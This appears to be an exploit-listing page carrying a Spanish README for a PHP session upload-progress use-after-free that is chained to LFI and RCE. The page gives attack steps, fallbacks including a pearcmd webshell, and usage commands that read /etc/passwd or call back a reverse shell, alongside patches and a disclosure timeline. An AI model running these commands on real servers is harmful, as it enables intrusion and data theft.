Skip to content
Exploit for Improperly Controlled Sequential Memory Allocation in Php

Exploit for Improperly Controlled Sequential Memory Allocation in Php

Sploitus • October 22, 2026

> **Heap Use-After-Free en `session.upload_progress` de PHP** · CVSS 9.2 Crítico (v4.0)

> Netlogic Red Team · Solo para investigación de seguridad autorizada

El manejador RFC 1867 de subida de archivos en `ext/session` de PHP guarda punteros `zval*` en bruto dentro del `HashTable` (`arData`) de sesión. Cuando una pausa entre eventos `FILE_DATA` supera `session.upload_progress.min_freq`, se dispara una reinicialización de sesión que **libera el HashTable** mientras los punteros siguen cacheados. La siguiente escritura a través de esos punteros obsoletos es un clásico **heap use-after-free**, explotable para RCE en cualquier stack PHP-FPM + nginx (o Apache) donde `session.upload_progress.enabled = On` (valor por defecto) y la aplicación tenga un sink de LFI.

| CVE | CVE-2026-109618 (UAF) · CVE-2026-109619 (cadena RCE) |

| Afectado | PHP 5.4.0 – 8.2.34 / 8.3.35 / 8.4.26 / 8.5.11 |

| Parcheado | PHP 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12 |

| Componente | `ext/session/session.c` — `php_session_rfc1867_callback()` |

| Vector | Red, sin autenticación, sin interacción |

| Primitivas | Heap UAF → envenenamiento de archivo de sesión → include LFI → RCE |

├── poc.py # Exploit completo (Netlogic Red Team)

│ └── php-uaf/ # Lab Docker — PHP 8.4.4-fpm + nginx (vulnerable)

│ ├── conf/ # php.ini, nginx.conf, php-fpm.conf,

│ ├── webroot/ # index.php con LFI intencional (requiere LAB_MODE=true)

│ └── scripts/ # Scripts internos del PoC

└── cve-candidate/ # PoCs adicionales (Fiber UAF, desbordamiento Lexbor)

# 1. Construir y levantar el lab vulnerable

# 3. Lanzar el exploit desde la raíz del repo

python3 poc.py "id"

[+] Session poison RCE — uid=33(www-data) gid=33(www-data)

2. Iniciar POST multipart lento con cabecera PHP_SESSION_UPLOAD_PROGRESS

→ pausa entre eventos FILE_DATA > session.upload_progress.min_freq

→ HashTable de sesión liberado (UAF disparado)

→ archivo de sesión ahora contiene payload PHP controlado por el atacante

3. Lanzar peticiones GET concurrentes que hacen include() del archivo de sesión

envenenado vía el sink LFI (?page=/var/lib/php/sessions/sess_)

4. Extraer salida del comando mediante marcador OUTPUT_DELIM

Fallback: envenenamiento de log (access/error log)

Fallback: inyección por FastCGI env (sin LFI, puerto 9000 accesible)

Fallback: webshell vía pearcmd.php de PEAR

python3 poc.py "cat /etc/passwd"

python3 poc.py --interactive

python3 poc.py "id" --lfi-param page

python3 poc.py --probe-only

python3 poc.py --callback 192.168.1.1:4444

docker compose -f docker-compose.mitigated.yml up --build -d

# El exploit debería fallar — session.upload_progress.enabled = Off

// session.c:3292 — puntero obsoleto cacheado en HashTable arData

zend_hash_str_update(Z_ARRVAL_P(post_bytes_processed), key, klen, &tmp);

// ^ zval* apuntando a arData queda cacheado en el array de progreso

// ... pausa en el multipart > min_freq dispara reinicialización ...

// session.c:236-252 — php_session_track_init() libera el HashTable

zend_array_destroy(Z_ARR_P(session_vars)); // arData liberado — puntero ahora cuelga

// session.c:3331 — escritura a través del puntero colgante

ZVAL_LONG(bytes_processed, (zend_long)SG(rfc1867_uploaded_files)->size); // escritura UAF

| Rama | Vulnerable hasta | Parcheado en |

|------|-----------------|--------------|

| PHP ≤ 8.1 | todas | sin backport — EOL |

; php.ini — deshabilita el tracking de progreso de subida vulnerable

O actualizar a la versión parcheada correspondiente a tu rama de PHP.

| 2026-09-14 | Descubrimiento interno durante engagement de red team |

| 2026-09-21 | PoC desarrollado y confirmado en PHP 8.4.4 |

| 2026-09-28 | Reporte enviado a [email protected] |

| 2026-10-07 | PHP team confirma, asigna CVE-2026-109618/9 |

| 2026-10-21 | Parches liberados (PHP 8.2.35/8.3.36/8.4.27/8.5.12) |

> **Aviso legal**: Este repositorio se publica con fines de investigación defensiva de seguridad y pruebas de penetración autorizadas. Ejecutar este exploit contra sistemas que no sean de tu propiedad o para los que no tengas permiso escrito explícito es ilegal. Netlogic no asume responsabilidad por usos indebidos.

Extracted Entities

Attack Types (1)

CWE Weaknesses (1)

Domains (1)

Email Addresses (1)

Platforms (2)

Tools (1)